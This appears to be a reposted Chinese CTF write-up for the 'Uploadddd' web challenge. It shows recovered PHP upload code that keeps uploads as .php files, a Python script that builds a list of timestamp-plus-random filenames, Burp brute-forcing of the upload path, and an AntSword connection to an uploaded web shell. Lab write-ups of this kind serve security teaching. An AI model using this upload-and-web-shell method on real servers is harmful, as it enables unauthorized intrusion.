2017-赛客夏令营-Web-Uploadddd
程序员文章站
2022-03-09 22:37:21
...
ctfhub-2017-赛客夏令营-Web-Uploadddd
木马文件是可以上传,但是路径不知道
于是扫描了一下目录。发现index.php.swp、flag.php,swp文件需要恢复
vim -r index.php.swp
得出源码
<?php
if (isset($_POST['submit'])){
$file_path = "uploads/";
$file_name = date("YmdHis") . rand(0,999) . ".php";
move_uploaded_file($_FILES["file"]["tmp_name"], $file_path . $file_name);
echo "上传成功!";
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Web03</title>
</head>
<body>
<form action="index.php" method="post" enctype="multipart/form-data">
<input type="file" name='file'>
<input type="submit" name="submit" value="上传" />
</form>
</body>
</html>
可以看出上传的路径了 uploads ,但是文件名更改为时间,还加了随机数,我本地搭建了一个,先尝试去掉随机的,可以发现是以时间命名,与提交的时间一样
再加上随机的,这次随机的数是900
这就一目了然了,随机数只能**了,直接就去实战可以了
时间 20200818141506+0-999随机数.php,所以先写一个脚本生成字典
time = '20200818141506' #时间
s = ''
for i in range(1000):
s += time+str(i)+'.php'
s += '\n'
print (time+str(i)+'.php')
filename = 'dir.txt'
with open(filename,'a',encoding='utf-8') as f:
for i in s:
f.writelines(i)
然后再使用Bp跑
然后再复制字典粘贴上去,启动
最后跑完,排一下(It is ok!是我在一句话中自己添加的,为了方便确认上传是否成功)
蚁剑连接,html目录下拿到flag
.